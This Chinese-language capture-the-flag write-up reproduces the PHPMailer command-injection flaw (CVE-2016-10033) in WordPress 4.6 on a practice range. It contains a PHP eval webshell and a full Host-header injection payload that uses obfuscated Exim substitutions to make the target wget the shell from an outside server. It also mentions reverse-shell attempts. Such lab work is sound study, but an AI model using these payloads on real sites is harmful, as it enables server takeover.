【WEB攻防】WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033) 安鸾靶场详细复现 -WordPress1

*网络安全法(出版物)_360百科*网络安全法,《*网络安全法》是为保障网络安全,维护网络空间主权和国家安全、社会公共利益,保护公民、法人和其他组织的合法权益,促进经济社会信息化健康发展而制定的法律。《*网络安全法》由*第十二届全国人民代表大会常务委员会第二十四次会议于2016年11月7日通过,自2017年6月1日起施行。【WEB攻防】WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033) 安鸾靶场详细复现 -WordPress1https://baike.so.com/doc/24210940-24838928.html

目录

漏洞简介

工具

题目分析

poc简单讲解

题解过程

另外的思考


漏洞简介

WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。

成因 :
在漏洞文件class.phpmailer.php中,phpmailer组件是调用linux系统命令sendmail进行邮件发送,命令格式为:sendmail -t -i -fusername@hostname。serverHostname函数通过传入的SERVER_NAME参数来获取主机名,该主机名即HTTP请求报文中的host值,但是SERVER_NAME参数并没有经过任何过滤,因此可以进行任意构造拼接,从而产生了系统命令注入漏洞。

详细讲解:

https://xz.aliyun.com/t/2301

PHPMailer < 5.2.18 远程代码执行(CVE-2016-10033)漏洞分析

工具

wpscan(kail自带) burpsuite VPS(自己的可以连接外网的服务器) 蚁剑

(没有服务器的下文教白嫖哦)阿里云服务器白嫖 还有搭建网站,本人搞了3天获得的血与泪的领悟,希望想自己搭建服务器做这道题目的同学少走点弯路。

云计算初认识 +阿里云服务器免费领取教程_AAAAAAAAAAAA66的博客-CSDN博客

宝塔linux面板,一键安装LAMP/LNMP/SSL/Tomcat

题目分析

既然是cms漏洞,首先的确认是什么版本的cms。所以首先用到的工具是wpscan。

WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。

kali输入命令

【WEB攻防】WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033) 安鸾靶场详细复现 -WordPress1

wpscan --url http://whalwl.site:8041/ --enumerate u

 得到结果为wordPress 4.6

【WEB攻防】WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033) 安鸾靶场详细复现 -WordPress1

还有一个用户名为:admin

 【WEB攻防】WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033) 安鸾靶场详细复现 -WordPress1

网上找到漏洞利用

https://xz.aliyun.com/t/2301

开始准备木马:

vps(这里用的是阿里云服务器,可以白嫖一个月+宝塔快速搭建网站)中创建一个aaa.txt文件

<? php @eval($_POST["pass"]); ?>

【WEB攻防】WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033) 安鸾靶场详细复现 -WordPress1

poc简单讲解

格式

aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/123.php 47.106.xxx.xxx/aaa.txt}} null)

命令执行,让靶机下载我们服务器的aaa.txt文件,并且命名为123.php

但是为了绕过过滤

空格 ==> ${substr{10}{1}{$tod_log}}

/ ==> ${substr{0}{1}{$spool_directory}}

必须要将空格和/改为这种形式

并且为了命令能够被系统正常执行,还要注意以下几点(详细看原理)

  • 执行的命令不能包含大量特殊字符,如 :、引号等。
  • 命令会被转换成小写字母
  • 命令需要使用绝对路径
  • 需要知道某一个存在的用户的用户名

所以最后payload为:

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}123.php${substr{10}{1}{$tod_log}}47.106.xxx.xxx${substr{0}{1}{$spool_directory}}aaa.txt}} null)

题解过程

先找到漏洞界面

【WEB攻防】WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033) 安鸾靶场详细复现 -WordPress1

【WEB攻防】WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033) 安鸾靶场详细复现 -WordPress1

【WEB攻防】WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033) 安鸾靶场详细复现 -WordPress1

进入bp

【WEB攻防】WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033) 安鸾靶场详细复现 -WordPress1

 改包

Host内容修改为

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}123.php${substr{10}{1}{$tod_log}}47.106.191.211${substr{0}{1}{$spool_directory}}aaa.txt}} null

 【WEB攻防】WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033) 安鸾靶场详细复现 -WordPress1

 发包,然后访问123.php

【WEB攻防】WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033) 安鸾靶场详细复现 -WordPress1

 发现存在。

蚁剑连接,在根目录下发现flag。

【WEB攻防】WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033) 安鸾靶场详细复现 -WordPress1

.到这里就结束了。

另外的思考

另外看了大神的分析,能命令执行的话先是推荐反弹shell,所以也尝试了一下反弹shell,发现文件的确是能上传,但是似乎执行出了点问题。

【WEB攻防】WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033) 安鸾靶场详细复现 -WordPress1

 执行改文件时总是失败,反弹不了shell。有复现成功的大佬们可以私信或者评论。

(另外安装服务器是真的麻烦,搞了好几天)反弹shell也只在自己的电脑上成功过。现在还不知道哪里出了问题。

【WEB攻防】WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033) 安鸾靶场详细复现 -WordPress1

【WEB攻防】WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033) 安鸾靶场详细复现 -WordPress1

参考链接:

https://xz.aliyun.com/t/2301

PHPMailer < 5.2.18 远程代码执行(CVE-2016-10033)漏洞分析

安鸾CTF Writeup wordpress 01 - jzking121 - 博客园

云计算初认识 +阿里云服务器免费领取教程_AAAAAAAAAAAA66的博客-CSDN博客


作者水平有限,有任何不当之处欢迎指正。

本文目的是为了传播web安全原理知识,提高相关人员的安全意识,任何利用本文提到的技术与工具造成的违法行为,后果自负! 

上一篇:directory opus关闭相同的标签页


下一篇:Linux - 基础及常见命令